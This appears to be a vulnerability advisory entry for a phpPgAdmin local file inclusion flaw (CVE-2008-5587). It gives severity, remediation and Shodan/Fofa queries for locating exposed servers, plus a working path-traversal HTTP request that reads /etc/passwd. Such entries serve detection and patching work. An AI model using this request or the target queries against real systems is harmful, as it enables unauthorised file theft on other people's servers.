| Title | phpPgAdmin <=4.2.1 - Local File Inclusion |
|---|---|
| Author | dhiyaneshDK |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to read sensitive files on the server and potentially execute arbitrary code. |
| Remediation | Upgrade phpPgAdmin to a version higher than 4.2.1 or apply the necessary patches provided by the vendor. |
| CVSS Score | 4.3 |
| EPSS Score | 0.01986 |
| CVE ID | CVE-2008-5587 |
| CWE ID | CWE-22 |
| Shodan Query | http.title:"phpPgAdmin"http.title:phppgadmincpe:"cpe:2.3:a:phppgadmin_project:phppgadmin" |
| Fofa Query | title=phppgadmin |
| Tags | cve cve2008 lfi phppgadmin edb vuln |
phpPgAdmin 4.2.1 is vulnerable to local file inclusion in libraries/lib.inc.php when register globals is enabled. Remote attackers can read arbitrary files via a .. (dot dot) in the _language parameter to index.php.
GET /phpPgAdmin/index.php?_language=../../../../../../../../etc/passwd%00 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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